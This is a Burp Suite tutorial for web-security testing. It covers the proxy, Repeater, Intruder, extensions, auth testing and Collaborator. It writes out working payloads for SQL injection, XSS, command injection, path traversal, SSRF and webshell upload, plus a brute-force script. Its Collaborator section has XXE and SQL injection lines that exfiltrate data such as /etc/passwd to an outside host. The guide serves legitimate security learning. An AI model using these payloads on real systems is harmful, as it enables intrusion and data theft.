kavklaw@llm $ cat burp-suite-guide.md
⏱️ 30 min read · Master the most important web application security testing tool
Community Edition is free and covers everything in this guide except the automated Scanner and full-speed Intruder. That's enough for CTFs and learning. The main pain point: Community Intruder is throttled (demo mode), making large brute-force attacks impractical. For brute forcing, use ffuf or Hydra instead.
Professional ($449/year) adds: full-speed Intruder, automated active Scanner, project saving, content discovery, and the full BApp Store. Worth it for real engagements but not required for learning.
Kali Linux: Burp Suite Community comes preinstalled. Launch it from the applications menu or run burpsuite in the terminal.
Other systems: Download the installer from portswigger.net/burp/communitydownload. The standalone installer works on Windows, macOS, and Linux without needing a separate Java install.
Want to start intercepting traffic in 2 minutes? Here's the fast track:
127.0.0.1:8080127.0.0.1:8080That's it. You're intercepting traffic. Now let's understand every component in depth.
Burp Suite is PortSwigger's web app testing platform. It sits as a proxy between your browser and the target — you see and modify every HTTP/HTTPS request and response that passes through.
Think of Burp as a "man in the middle" between you and the website. Every request your browser sends passes through Burp first, and every response the server sends comes back through Burp. This gives you complete visibility and control over the communication.
See the prerequisites section above for the differences between Community (free) and Professional editions.
The proxy is the foundation of everything in Burp. All other tools (Repeater, Intruder, Scanner) work with requests that flow through the proxy.
By default, Burp listens on 127.0.0.1:8080. You can verify this in:
Proxy settings → Proxy Listeners
You should see: Running ☑ | Interface: 127.0.0.1:8080
Install FoxyProxy Standard extension in Firefox, then add a new proxy:
Enable the Burp proxy in FoxyProxy when testing, and disable it when browsing normally.
Why Firefox? Because it uses its own proxy settings, independent from the system proxy. Chrome uses the system proxy, which affects ALL traffic.
┌──────────┐ ┌───────────────┐ ┌──────────┐
│ Firefox │────▶│ Burp Suite │────▶│ Target │
│ (proxy) │ │ 127.0.0.1:8080│ │ Server │
└──────────┘ └───────────────┘ └──────────┘
▲ │ │
└──────────────────┘ │
Responses flow │
back through Burp ◀──────────────────┘To intercept HTTPS traffic, you need to trust Burp's certificate authority:
http://burpsuite (or http://127.0.0.1:8080)cacert.dercacert.der💡 Pro Tip: Use a dedicated Firefox profile for Burp. Run firefox -P to open the profile manager, create a "Burp" profile with FoxyProxy and the CA cert pre-installed. This way your normal browsing is never affected.
You don't want to capture traffic to Google, YouTube, and every other site. Set the scope:
http://10.10.10.100)Now only traffic to your target appears in the HTTP history.
When interception is enabled, every request pauses in Burp before being sent to the server. This lets you modify requests on the fly.
Here's what a typical intercepted request looks like:
POST /login HTTP/1.1
Host: target.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123
username=admin&password=password123Before you click Forward, you can change anything in that request:
admin to another username)💡 Pro Tip: Most of the time, keep intercept OFF. Use the HTTP History tab (Proxy → HTTP History) to review traffic, and send interesting requests to Repeater with Ctrl+R. Only turn intercept ON when you specifically need to modify a request before it's sent.
As you browse the target with Burp's proxy active, it automatically builds a site map — a tree view of every URL, parameter, and resource discovered.
Workflow:
Site map filtering tips:
Repeater is where you'll spend 70% of your time in Burp. It's a manual request editor: you modify requests, send them, and see the response instantly. No automation, no fuzzing. Just you and the HTTP request.
How to use Repeater:
Example — testing SQL injection in a login form. Add a single quote to the username and see if the response changes:
POST /login HTTP/1.1
Host: target.htb
Content-Type: application/x-www-form-urlencoded
username=admin'&password=testIf you see a SQL error in the response like "You have an error in your SQL syntax...", SQLi is confirmed! Now try authentication bypass:
username=admin' OR '1'='1' --&password=anythingIf this logs you in, you've got Union or Boolean-based SQLi.
Pattern 1: Parameter Tampering — Change user IDs to access other users' data. This is called IDOR (Insecure Direct Object Reference) — the app uses your input to directly look up data without checking if you're authorized to see it:
GET /api/user/1001 HTTP/1.1 → Your profile
GET /api/user/1002 HTTP/1.1 → Someone else's profile? → IDOR!Pattern 2: Method Switching — Try different HTTP methods to bypass access controls:
POST /admin/delete HTTP/1.1 → 403 Forbidden
GET /admin/delete HTTP/1.1 → 200 OK? Method-based bypass!
PUT /admin/delete HTTP/1.1 → Try every methodPattern 3: Header Injection — Add headers that might bypass IP whitelists or path restrictions:
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Original-URL: /adminPattern 4: Content Type Switching — Change from application/x-www-form-urlencoded to application/json. Some parsers behave differently with different content types:
{"username": "admin", "password": "test"}Intruder automates repetitive testing by sending many requests with varying payloads. Think of it as Burp's built-in fuzzer.
Don't worry if these sound confusing at first. In practice, you'll use Sniper (testing one field) and Cluster Bomb (testing all combinations) most of the time. The others are for specific situations.
One payload set, one position at a time. If you have positions A and B, Sniper first tests all payloads in position A (with B unchanged), then all payloads in position B (with A unchanged).
# Use case: Testing one parameter for SQLi
# Positions:
POST /login HTTP/1.1
username=§admin§&password=test
# Payload list: admin', admin'OR'1'='1'--, admin" OR 1=1--, ...
# Sniper tests each payload in the marked position
# Total requests = number of payloads × number of positionsOne payload set, same value in ALL positions simultaneously.
# Use case: Testing the same value in multiple fields
POST /login HTTP/1.1
username=§test§&password=§test§
# If payload is "admin", both become "admin" at the same time
# Useful when: username == password testingMultiple payload sets, one per position, iterated in parallel. Position A gets payload set 1, position B gets payload set 2, synchronized row by row.
# Use case: Credential stuffing (username + password pairs)
POST /login HTTP/1.1
username=§admin§&password=§password§
# Payload Set 1 (usernames): admin, user1, john, sarah
# Payload Set 2 (passwords): admin123, pass123, john1, sarah99
# Test 1: admin / admin123
# Test 2: user1 / pass123
# Test 3: john / john1
# Test 4: sarah / sarah99
# Total requests = number of payloads (matched pairs)Multiple payload sets, every combination. Tests ALL payloads from set 1 against ALL payloads from set 2.
# Use case: Brute force username AND password
POST /login HTTP/1.1
username=§admin§&password=§password§
# Payload Set 1 (usernames): admin, user1, john
# Payload Set 2 (passwords): password, 123456, admin123
# Test 1: admin / password
# Test 2: admin / 123456
# Test 3: admin / admin123
# Test 4: user1 / password
# Test 5: user1 / 123456
# ...
# Total requests = set1_size × set2_size (3 × 3 = 9)⚠️ Warning: Cluster Bomb generates n×m requests. With 1000 usernames × 1000 passwords = 1,000,000 requests. In Community Edition (throttled), this would take days. Use ffuf or Hydra for real brute forcing.
After an Intruder attack, look for anomalies:
Ctrl+___.Ctrl+R sends to Repeater (R for Repeater). Ctrl+I sends to Intruder. These shortcuts save enormous time — you'll use them hundreds of times per engagement. In Repeater, Ctrl+Enter sends the current request.Burp Scanner (Pro only) automatically finds vulnerabilities. It comes in two modes:
Analyzes traffic as it flows through the proxy without sending any additional requests. In Pro, this runs automatically in the background.
The passive scanner detects:
This mode sends additional requests to actively test for vulnerabilities. It can be noisy and potentially destructive.
The active scanner tests for:
../)To actively scan a specific request:
To scan the entire site:
💡 Pro Tip: Burp Scanner (both passive and active) is Pro-only — Community Edition doesn't include it. But you can still catch "passive-style" issues manually: check response headers for missing security headers, look for interesting comments in HTML source, spot cookies without Secure/HttpOnly flags, and use extensions like Retire.js or Headers Analyzer. Browse the application thoroughly with Proxy and review everything in the Target tab.
Decoder encodes and decodes data in various formats. You'll use it constantly to make sense of obfuscated values.
Encoding/decoding formats available: URL encoding (%41 = A), HTML entities, Base64 (YWRtaW4= = admin), Hex (61646d696e = admin), ASCII hex, Gzip, and Binary.
Common workflow:
eyJhbGciOiJIUzI1NiJ9...{"alg":"HS256","typ":"JWT"}Another example — found %3Cscript%3Ealert(1)%3C%2Fscript%3E in a parameter? URL-decode it to see <script>alert(1)</script> — someone's testing XSS!
Comparer highlights differences between two responses. Great for spotting subtle changes.
Use cases:
Workflow:
Burp's BApp Store has hundreds of extensions. Here are the must-haves:
Automatically tests for authorization bugs. You give it a low-privilege user's cookies, and it replays every request with those cookies to check if low-priv users can access high-priv endpoints.
Setup:
This catches IDORs and broken access control automatically.
Advanced HTTP logging with filtering, highlighting, and grep. Way better than Burp's built-in HTTP History.
Advanced encoding/decoding tags you can embed directly in requests. Auto-encodes payloads as you type.
# Instead of manually encoding payloads:
# Wrap in Hackvertor tags:
<@base64>admin:password<@/base64>
# Automatically becomes: YWRtaW46cGFzc3dvcmQ=
# Great for:
# - Auto-updating CSRF tokens
# - Multi-layer encoding (URL inside Base64 inside HTML)
# - Hash generation (MD5, SHA1, etc.)Adds additional checks to Burp's active scanner, including host header injection, cache poisoning, and edge-case injection patterns.
View, edit, and attack JSON Web Tokens directly in Burp.
Discovers hidden parameters and headers. Essential for finding cache poisoning and hidden functionality.
Follow this workflow and you'll cover all the major attack surfaces.
robots.txt, sitemap.xmlReview HTTP History and identify:
For each endpoint, note: what parameters it accepts, what authentication is required, what input validation exists, and what errors can be triggered.
Test the login mechanism:
admin:admin, admin:password)Set up the Autorize extension (see above). Also manually test:
/api/users/1, /api/users/2...)For EVERY parameter, test these injection types:
' " ; -- /* */ OR 1=1<script>alert(1)</script> <img src=x onerror=alert(1)>; id | id `id` $(id)../../../etc/passwd{{7*7}} ${7*7} <%= 7*7 %>http://127.0.0.1 http://169.254.169.254Use Repeater for manual testing of each parameter, and Intruder with a fuzzing wordlist for automated coverage. Check SecLists/Fuzzing/ for payload lists.
# 1. Intercept a request with a JWT (usually in Authorization header)
# 2. Decode the JWT in Decoder (Base64)
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"user123","role":"user","iat":1516239022}
# 3. Common attacks:
# - Change "alg" to "none" → remove signature
# - Change "role" to "admin"
# - Brute force weak signing keys (jwt_tool, hashcat)
# - Algorithm confusion (RS256 → HS256)# 1. Upload a normal image → note the request format
# 2. In Repeater, try:
# - Change filename: image.png → shell.php
# - Change Content-Type: image/png → application/x-php
# - Double extension: shell.php.png
# - Null byte: shell.php%00.png
# - Case variation: shell.pHp
# - Add magic bytes: GIF89a before PHP code
# 3. If upload succeeds, find where files are stored
# 4. Access the uploaded file → code execution?# 1. Find a request that should only execute once
# (coupon redemption, vote, balance transfer)
# 2. Send to Intruder
# 3. Use Null Payloads, generate 20 requests
# 4. Set "Number of threads" to 20 in Resource Pool
# 5. Start attack — all 20 fire simultaneously
# 6. Check if the action was performed multiple times
# In Burp 2023+, use the "Send group in parallel" feature
# (Repeater → select multiple tabs → right-click → Send group)❌ Mistake #1: Leaving intercept ON all the time.
Intercept is for specific moments when you need to modify a request before it's sent. Leaving it on means every request pauses and you have to manually forward everything. Turn it OFF by default; use HTTP History to review traffic.
❌ Mistake #2: Not setting scope.
Without scope, your proxy history fills up with traffic to Google, CDNs, analytics, and browser updates. You'll drown in noise. Always set scope first — Target → Scope → Add your target.
❌ Mistake #3: Not browsing the entire app first.
Don't start testing the first interesting thing you find. Browse the ENTIRE application first. Build a complete site map. Understand all functionality. The vulnerability is often in the feature you didn't explore.
❌ Mistake #4: Using Intruder for brute forcing in Community Edition.
Community Intruder is throttled (demo mode) — large payload sets will take forever. For brute forcing, use ffuf or Hydra instead. Use Intruder for small payload sets (< 100 payloads) or upgrade to Pro.
❌ Mistake #5: Forgetting to install the CA certificate.
Without Burp's CA cert, HTTPS sites show certificate errors and many modern sites refuse to load at all (HSTS). Install the cert in Firefox as described above — it takes 30 seconds and saves hours of frustration.
❌ Mistake #6: Not checking for low-hanging fruit.
Pro users: check Target → Issues regularly — the passive scanner catches information disclosure, missing headers, and more. Community users: manually review response headers, cookie flags, HTML comments, and use extensions like Headers Analyzer. These "boring" findings often lead to bigger vulnerabilities.
❌ Mistake #7: Not using keyboard shortcuts.
Ctrl+R = Send to Repeater. Ctrl+I = Send to Intruder. Ctrl+Enter = Send request in Repeater. These save enormous amounts of time. Learn them.
We introduced extensions briefly above. Now let's go deep on the seven extensions that will transform your web testing workflow. Each one fills a critical gap in Burp's built-in functionality.
Autorize is the single best extension for finding broken access control, the #1 vulnerability on the OWASP Top 10. It automatically replays every request with a lower-privilege session to detect horizontal and vertical privilege escalation.
Detailed setup:
For every request you make as admin, Autorize replays it with the low-priv cookie (checks access), replays it with NO cookie (checks unauthenticated access), and compares response lengths and status codes.
Results color coding:
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ You browse │ │ Autorize │ │ Target │
│ as Admin │────▶│ intercepts │────▶│ Server │
└──────────────┘ │ and replays │ └──────┬───────┘
│ with: │ │
│ 1. Low-priv │◀───────────┘
│ cookie │ Compares responses:
│ 2. No cookie│ Same = BYPASSED! 🔴
└──────────────┘ Different = ENFORCED 🟢Advanced: Configure enforcement detectors by adding regex patterns for "access denied" responses (e.g., "403 Forbidden", "Unauthorized", "You don't have permission") to improve classification accuracy. Also test with different user roles: Admin vs User, User A vs User B (horizontal privesc), and Authenticated vs Unauthenticated.
Logger++ replaces Burp's HTTP History with a vastly more powerful logging interface. It supports complex filtering with boolean operators, column highlighting, grep-based search, and export to CSV/JSON for external analysis.
Key features:
Request.Path CONTAINS "/api/" AND Response.Status == 500
Request.Body CONTAINS "password" AND Response.Length > 1000
Request.Headers CONTAINS "Authorization" AND Response.Status != 401Use cases: track every API call and identify patterns, find all requests with sensitive data in URLs, export logs for report documentation, correlate requests with timing data for race conditions.
Setup: Install from BApp Store → it appears as a new tab. All proxy traffic is automatically logged.
Hackvertor lets you embed encoding/decoding tags directly in your requests. Instead of manually encoding payloads, wrap them in tags and Hackvertor handles the encoding on-the-fly when the request is sent.
Embed tags directly in Repeater requests:
Authorization: Basic <@base64>admin:password<@/base64>
param=<@url><script>alert(document.cookie)</script><@/url>
token=<@base64><@url>{"role":"admin"}<@/url><@/base64>
X-Signature: <@md5>secret_key+request_body<@/md5>
X-Signature: <@sha256>api_key:timestamp<@/sha256>Use <@auto_decode> to extract and re-encode CSRF tokens automatically — incredibly useful for authenticated testing.
Other useful tags: <@hex> (Hex encoding), <@html_entities>, <@unicode>, <@random_num_10> (cache-busting), <@timestamp> (current Unix timestamp).
Extends Burp's active scanner with additional checks that PortSwigger hasn't built into the core product. Written by James Kettle (PortSwigger's own head of research).
Additional checks it performs:
Setup: Install from BApp Store — it automatically hooks into the active scanner. No configuration needed. Always keep it installed; it's particularly useful for finding cache poisoning and host header attacks, and in CTFs it catches injection vectors other scanners miss.
Turbo Intruder is a Burp extension for sending large numbers of HTTP requests at extreme speeds. Unlike the built-in Intruder (which is throttled in Community), Turbo Intruder uses Python scripts for full control over the attack and can achieve very high throughput — often orders of magnitude faster than regular Intruder (exact speed depends on target, network, and whether HTTP pipelining is supported).
Setup: Install from BApp Store, right-click a request → "Send to Turbo Intruder", and the Python editor opens with a template.
Basic brute force script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=50,
requestsPerConnection=100,
pipeline=True)
for word in open('/usr/share/wordlists/rockyou-top1000.txt'):
engine.queue(target.req, word.rstrip())
def handleResponse(req, interesting):
if req.status == 302: # Redirect = successful login?
table.add(req)
if req.status != 401: # Anything other than 401
table.add(req)Race condition script — send all requests at once using the gate mechanism:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=1,
pipeline=False)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # All 30 fire simultaneously!
def handleResponse(req, interesting):
table.add(req)Key advantages over regular Intruder: no throttling even in Community Edition, Python scripting for unlimited flexibility, HTTP pipelining support for massive speed gains on compatible targets, gate mechanism perfect for race conditions, and can handle millions of requests efficiently.
Automatically formats JSON responses in Burp's message viewer. Sounds trivial, but when you're analyzing API responses all day, readable JSON is essential.
Before JSON Beautifier:
{"users":[{"id":1,"name":"admin","role":"administrator","email":"[email protected]"},{"id":2,"name":"user","role":"standard","email":"[email protected]"}],"total":2,"page":1}After JSON Beautifier:
{
"users": [
{
"id": 1,
"name": "admin",
"role": "administrator",
"email": "[email protected]"
},
{
"id": 2,
"name": "user",
"role": "standard",
"email": "[email protected]"
}
],
"total": 2,
"page": 1
}Install from BApp Store — it adds a "JSON" tab to the response viewer. Works automatically, no configuration needed.
JWT Editor provides a dedicated interface for viewing, editing, and attacking JWTs directly within Burp. It integrates with Repeater so you can modify tokens in real-time.
Key features: auto-detects JWTs in requests and responses, decode/edit header, payload, and signature, plus built-in attack modes.
Attack modes (effectiveness depends on the implementation — most modern JWT libraries block many of these by default, but always worth testing):
{"alg":"none","typ":"JWT"} and remove the signature. Rare in modern libraries, but legacy implementations sometimes accept unsigned tokens.hashcat -m 16500 jwt.txt rockyou.txt, then sign modified tokens with the recovered keySetup: Install → JWT tab appears in Repeater message views. Click the JWT tab to decode, modify claims like "role":"admin", re-sign with a chosen key, and forward the request.
Auth testing is where a lot of bugs hide. Burp gives you everything you need to pick apart login mechanisms, session handling, and access control.
Session fixation happens when a server doesn't issue a new session token after login. An attacker can set a known session ID, trick the victim into logging in, and then hijack that same session.
Test methodology:
Set-Cookie: PHPSESSID=abc123)abc123 → VULNERABLE to session fixationxyz789 → session was regenerated (good)┌──────────┐ 1. Set cookie ┌──────────┐ 2. Victim ┌──────────┐
│ Attacker │───────────────▶│ Victim │────logs in──▶│ Server │
│ │ │ (abc123) │ │ │
│ │ 3. Use abc123 │ │ │ Session │
│ │────to access──▶│ │ │ NOT │
│ │ victim account│ │ │ regenerated
└──────────┘ └──────────┘ └──────────┘Burp makes it easy to analyze session tokens for predictability, entropy, and security flags:
In Burp, go to Proxy → HTTP History → click any response with Set-Cookie. Check these cookie attributes:
Analyze session token entropy: Collect 100+ session tokens (use Intruder with null payloads), then use Burp Sequencer (Pro) to analyze randomness. Effective entropy should be > 64 bits. Look for patterns, timestamps, or sequential values.
Common weak patterns: sequential numbers (session=1001, 1002), timestamp-based (session=1706000000), username in token (session=base64(admin:timestamp)), or MD5 of predictable values.
Systematic approach to brute-forcing login forms, including handling CSRF tokens, account lockouts, and rate limiting:
Step 1: Capture the login request in Repeater first:
POST /login HTTP/1.1
Host: target.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123
username=admin&password=test&csrf_token=xyz789Step 2: Handle CSRF tokens. CSRF (Cross-Site Request Forgery) tokens are unique values the server includes in forms to prevent attackers from forging requests on your behalf. If the app uses CSRF tokens, extract them via Intruder → Options → Grep - Extract → Add. Define the regex, then use "Recursive grep" payload type.
Step 3: Choose attack type. Known username + brute password → Sniper on password field. Username enumeration → Sniper on username field. Both unknown → Cluster Bomb (beware of lockouts).
Step 4: Identify successful login. Options → Grep - Match → Add patterns: "Welcome", "Dashboard", "Logout", "Invalid credentials". Sort results by status code, response length, or grep matches.
Step 5: Respect lockout policies. Test first: is there a lockout after N failed attempts? If yes, spray slowly — one password across all users, wait, repeat. If no, brute force freely (but be mindful of rate limits).
For Community Edition (throttled Intruder), export the request and use ffuf:
ffuf -request login.req -request-proto http -w passwords.txt -mode pitchforkThese are the common auth bypass patterns to test through Burp Repeater:
# 1. SQL Injection in login form
username=admin' OR '1'='1'--&password=anything
username=admin'--&password=anything
# 2. Default credentials (try before brute forcing)
admin:admin, admin:password, admin:Password1
root:root, root:toor, test:test
# 3. Response manipulation
# Intercept the login response → change "success":false to "success":true
# Some SPAs check client-side only!
# 4. Parameter manipulation
# Add: isAdmin=true, role=admin, admin=1
# Change: user_level=1 to user_level=0
# 5. HTTP verb tampering
# POST /login → 403? Try: GET /login, PUT /login, PATCH /login
# 6. Path manipulation
# /admin → 403? Try:
# /admin/ , /Admin , /ADMIN , /admin.php
# /./admin , //admin , /admin..;/
# 7. Header-based bypass
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1Here's an honest comparison to help you decide whether Pro is worth the investment.
Slow Intruder → Use ffuf for brute forcing:
ffuf -u http://target.htb/login -X POST \
-d "username=admin&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/wordlists/rockyou.txt -fc 401No active scanner → Use alternatives:
nikto -h http://target.htb
nuclei -u http://target.htb -t cves/
sqlmap -u "http://target.htb/page?id=1"Also consider OWASP ZAP (free alternative with active scanning).
No project saving → Save important requests manually: right-click → "Copy as curl command" → paste into notes. Or use Logger++ to export session logs.
No Collaborator → Use: Interactsh (free OOB server), webhook.site (free webhook receiver), or your own server with nc -lvnp 80.
Student discount: PortSwigger offers Burp Pro at a reduced rate for students: portswigger.net/burp/pro/student
Burp Collaborator is a Pro-only feature that provides an external server for detecting out-of-band (OOB) vulnerabilities — bugs where the vulnerable application makes a connection to an external system you control, rather than reflecting data back to you directly.
# Burp generates a unique subdomain for each test:
# abc123.burpcollaborator.net
# You inject this domain into various payloads.
# If the target server makes a DNS lookup, HTTP request, or SMTP
# connection to that domain, Collaborator catches it and alerts you.
# This detects vulnerabilities that are INVISIBLE in the HTTP response:
# - Blind SSRF (server makes outbound request you never see)
# - Blind XXE (XML parser fetches external entity)
# - Blind SQL injection with out-of-band exfiltration
# - Email header injection (SMTP interaction)
# - OS command injection with blind execution# Inject Collaborator URLs anywhere the server might fetch a URL:
# In request parameters:
GET /fetch?url=http://abc123.burpcollaborator.net HTTP/1.1
# In HTTP headers:
Referer: http://abc123.burpcollaborator.net
X-Forwarded-For: abc123.burpcollaborator.net
# In webhook/callback fields:
{"webhook": "http://abc123.burpcollaborator.net/callback"}
# In PDF generators, image importers, link previewers:
[Click here](http://abc123.burpcollaborator.net)
# If you get a Collaborator hit:
# → The server reached out to your Collaborator domain
# → SSRF confirmed! Now try accessing internal resources:
# http://169.254.169.254/latest/meta-data/ (AWS metadata)
# http://127.0.0.1:8080/admin (internal admin panels)# When testing XML endpoints, inject an external entity pointing to Collaborator:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abc123.burpcollaborator.net/xxe">
]>
<root>
<data>&xxe;</data>
</root>
# If the XML parser is vulnerable:
# 1. It resolves the entity → DNS lookup to abc123.burpcollaborator.net
# 2. It fetches the URL → HTTP request to Collaborator
# 3. You see the interaction in Collaborator tab
# Exfiltrate data via OOB XXE:
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://abc123.burpcollaborator.net/?data=%file;'>">
%eval;
%exfil;
]>
# The contents of /etc/passwd appear in the Collaborator HTTP request URL!# When you suspect blind SQLi but can't use boolean or time-based techniques,
# OOB exfiltration via Collaborator can extract data:
# MySQL:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.abc123.burpcollaborator.net\\a'))
# MSSQL:
'; EXEC master..xp_dirtree '\\abc123.burpcollaborator.net\share'--
# Oracle:
SELECT UTL_HTTP.REQUEST('http://abc123.burpcollaborator.net/' || (SELECT user FROM dual)) FROM dual
# PostgreSQL:
COPY (SELECT password FROM users) TO PROGRAM 'nslookup abc123.burpcollaborator.net'
# The exfiltrated data appears as a DNS query or HTTP request in Collaborator# interactsh (by ProjectDiscovery) — free OOB server
# Install: go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# Gives you a unique subdomain to use just like Collaborator
# webhook.site — free webhook receiver
# Visit https://webhook.site → get a unique URL
# Use it for HTTP-based OOB detection
# DNS-based: use your own VPS
# Set up a DNS server on your VPS and point a domain to it
# Monitor DNS queries for your injected subdomains
# Netcat: for simple HTTP callbacks
nc -lvnp 80 # Listen for incoming HTTP requestsBest for: Professional pentesting engagements. Industry standard with Collaborator for OOB testing, BApp Store extensions, and the most polished workflow.
Best for: Students, bug bounty hunters, and CI/CD pipeline integration. Fully free and open source with active scanning, spidering, and scripting.
admin'), and observe the response. If you see a SQL error or different behavior, you've confirmed injection — then you can escalate to SQLMap or Intruder. Going straight to automated tools without manual verification is noisy and teaches you nothing about the vulnerability.